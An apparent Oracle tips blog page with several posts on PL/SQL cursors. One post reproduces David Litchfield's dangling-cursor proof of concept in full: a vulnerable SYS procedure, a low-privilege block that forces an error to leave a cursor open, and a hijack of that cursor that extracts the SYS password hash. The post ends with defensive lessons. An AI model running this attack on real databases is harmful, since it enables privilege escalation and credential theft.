msgbartop
News, views, tips and tricks on Oracle and other fun stuff
msgbarbottom

5 Recommendations About Cursor FOR Loops in Oracle PL/SQL

A cursor FOR loop is a PL/SQL loop statement. It is a loop that is associated with a cursor embedded within the loop boundary.

There are two types of cursor FOR loops: SQL Cursor FOR loop and Explicit Cursor FOR Loop.

In SQL Cursor FOR loops, you include the text of a query directly in the FOR loop. For example:

Connected to:
Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SQL> set serverout on
SQL> BEGIN
  2    FOR item IN
  3    ( SELECT last_name, job_id
  4       FROM employees
  5       WHERE job_id LIKE '%CLERK%'
  6       AND manager_id > 120 )
  7    LOOP
  8      DBMS_OUTPUT.PUT_LINE
  9        ('Name = ' || item.last_name || ', Job = ' || item.job_id);
 10    END LOOP;
 11  END;
 12  /
Name = OConnell, Job = SH_CLERK
Name = Grant, Job = SH_CLERK
Name = Bissot, Job = ST_CLERK
...

PL/SQL procedure successfully completed.

In Explicit Cursor FOR Loops, you declare a cursor that specifies a query, and then reference the cursor in the FOR loop. For example:

SQL> DECLARE
  2   CURSOR c1 IS SELECT last_name, job_id FROM employees
  3                  WHERE job_id LIKE '%CLERK%' AND manager_id > 120;
  4  BEGIN
  5    FOR item IN c1
  6    LOOP
  7      DBMS_OUTPUT.PUT_LINE
  8        ('Name = ' || item.last_name || ', Job = ' || item.job_id);
  9    END LOOP;
 10  END;
 11  /
Name = OConnell, Job = SH_CLERK
Name = Grant, Job = SH_CLERK
Name = Bissot, Job = ST_CLERK
...

PL/SQL procedure successfully completed.

In both examples, you do not need to declare the record variable item, PL/SQL implicitly creates it for you with fields corresponding to the columns of the result set.

Steven Feuerstein gives us the following recommendations about cursor FOR loops which he learned from one of his mentors in the PL/SQL world, Bryn Llewellyn, Oracle’s PL/SQL product manager:

  1. Never use a cursor FOR loop when you’re writing new code for normal production deployment in a multiuser application.

  2. If you expect to retrieve just one row, use an implicit SELECT INTO query.

  3. If you expect to retrieve multiple rows of data and you know the upper limit (as in, “I will never get more than 100 rows in this query”), use BULK COLLECT into a collection of type varray whose upper limit matches what you know about the query.

  4. If you expect to retrieve multiple rows of data and you do not know the upper limit, use BULK COLLECT with a FETCH statement that relies on a LIMIT clause to ensure that you do not consume too much per-session memory.

  5. If your existing code contains a cursor FOR loop, you should perform a cost-benefit analysis on converting that code, based on these recommendations.

Visit this page to read Steven’s full explanation and examples of each of the above recommendations.

In short, stop using cursor FOR loops and start using BULK COLLECT. It’s that simple.

Filed in Oracle, Tips with 20 Comments | Tags: , ,


Cursors Again

Reading through other programmers’ code I often discover interesting things that sometimes I find hard to explain. For example, consider the following simple PL/SQL block:

DECLARE
   CURSOR emp_cur
   IS
      SELECT first_name
        FROM employees
       WHERE employee_id = 100;

   l_emp_name employees.first_name%TYPE;
BEGIN
   IF emp_cur%ISOPEN
   THEN
      CLOSE emp_cur;
   END IF;

   OPEN emp_cur;

   FETCH emp_cur
    INTO l_emp_name;

   CLOSE emp_cur;

END;

The PL/SQL package I was reviewing had the same exact pattern for every query. Basically, every query was declared as an explicit cursor and code similar to the above was used to open, fetch and close every cursor in the program.

I do not understand two things here: the need for an explicit cursor, and the need for this “IF cur%ISOPEN THEN CLOSE cur; END IF;” before “OPEN cur …. CLOSE cur“. Do you?

I would have coded the above like this:

DECLARE
   l_emp_name   employees.first_name%TYPE;
BEGIN
   SELECT first_name
     INTO l_emp_name
     FROM employees
    WHERE employee_id = 100;

EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      DBMS_OUTPUT.put_line ('Not found');
END;

In this example, since the employee_id is the primary key of the employees table, there is no need to code for the TOO_MANY_ROWS exception.

Andrew Clarke has a good post about implicit and explicit cursors in response to Misbah Jalil’s post about the same subject. And here is a virtual book about cursors in Oracle DB 10gR2.

Filed in Oracle with 7 Comments | Tags:


See How To Hack Oracle Using Dangling Cursor Snarfing

David Litchfield published a paper demonstrating how an unclosed or dangling cursor created and used by DBMS_SQL can lead to a security hole.

I ran his proof of this vulnerability on my Oracle Database 10g Express Edition database.

Connected as SYS:

SQL> CREATE OR REPLACE PROCEDURE pwd_compare(p_user VARCHAR) IS
  2    cursor_name INTEGER;
  3    v_pwd VARCHAR2(30);
  4    i INTEGER;
  5  BEGIN
  6
  7    IF p_user != 'SYS' THEN
  8      cursor_name := dbms_sql.open_cursor;
  9      DBMS_OUTPUT.PUT_LINE('CURSOR: ' || cursor_name);
 10      dbms_sql.parse(cursor_name,
 11        'SELECT PASSWORD FROM SYS.DBA_USERS WHERE USERNAME = :u',
 12        dbms_sql.native);
 13      dbms_sql.bind_variable(cursor_name,   ':u',   p_user);
 14      dbms_sql.define_column(cursor_name,   1,   v_pwd,   30);
 15      i := dbms_sql.EXECUTE(cursor_name);
 16
 17      IF dbms_sql.fetch_rows(cursor_name) > 0 THEN
 18        dbms_sql.column_value(cursor_name,   1,   v_pwd);
 19      END IF;
 20
 21      IF v_pwd = '0123456789ABCDEF' THEN
 22        DBMS_OUTPUT.PUT_LINE('Hmmm....');
 23      END IF;
 24
 25      dbms_sql.close_cursor(cursor_name);
 26    END IF;
 27
 28  END;
 29  /

Procedure created.

SQL> GRANT EXECUTE ON pwd_compare TO PUBLIC;

Grant succeeded.

Note that, in the code above, there is no exception handling so if there is an error before the cursor is closed then the cursor will be left dangling.

Now, let’s connect as HR, a lower privileged user than SYS, and execute the procedure pwd_compare making sure we generate an exception in it:

SQL> DECLARE x VARCHAR(32000);
  2  i INTEGER;
  3  BEGIN
  4    FOR i IN 1 .. 10000
  5    LOOP
  6      x := 'B' || x;
  7    END LOOP;
  8
  9    sys.pwd_compare(x);
 10  END;
 11  /
CURSOR: 6
DECLARE x VARCHAR(32000);
*
ERROR at line 1:
ORA-01460: unimplemented or unreasonable conversion requested
ORA-06512: at "SYS.DBMS_SYS_SQL", line 1202
ORA-06512: at "SYS.DBMS_SQL", line 323
ORA-06512: at "SYS.PWD_COMPARE", line 15
ORA-06512: at line 9

What we have now is a dangling cursor with an ID number of 6. Armed with this piece of information we can rebind the username associated with the query, using SYS, then re-execute the query and extract the password hash for the SYS user bypassing the logic in the procedure pwd_compare:

SQL> DECLARE cursor_name INTEGER;
  2  i INTEGER;
  3  pwd VARCHAR2(30);
  4  BEGIN
  5    cursor_name := 6;
  6    dbms_sql.bind_variable(cursor_name,   ':u',   'SYS');
  7    dbms_sql.define_column(cursor_name,   1,   pwd,   30);
  8    i := dbms_sql.EXECUTE(cursor_name);
  9
 10    IF dbms_sql.fetch_rows(cursor_name) > 0 THEN
 11      dbms_sql.column_value(cursor_name,   1,   pwd);
 12    END IF;
 13
 14    dbms_sql.close_cursor(cursor_name);
 15    DBMS_OUTPUT.PUT_LINE('PWD: ' || pwd);
 16  END;
 17  /
PWD: 586EEA79959C07B1

PL/SQL procedure successfully completed.

Interesting!

Lessons learned:

  1. Always perform extensive input validation.
  2. Always add exception handlers to your blocks.
  3. Always make sure to close your cursors.

Sources and resources:

Filed in Oracle, Security, Tips with 1 Comment | Tags: , ,


Producing XML from SQL using cursor expressions

In this post I will show an example of how you can transform a query result into an XML document. I will also show how you can write a query that produces nested or multi-leveled XML document using cursor expressions. (more…)

Filed in Oracle, Tips with 6 Comments | Tags: , ,


Oracle REF CURSOR and ColdFusion

So you have an Oracle function (not a procedure) that returns a REF CURSOR and you want to use that function in ColdFusion. That can be easily done using <cfstoredproc>. Here is an example: (more…)

Filed in ColdFusion, Tips with 8 Comments | Tags: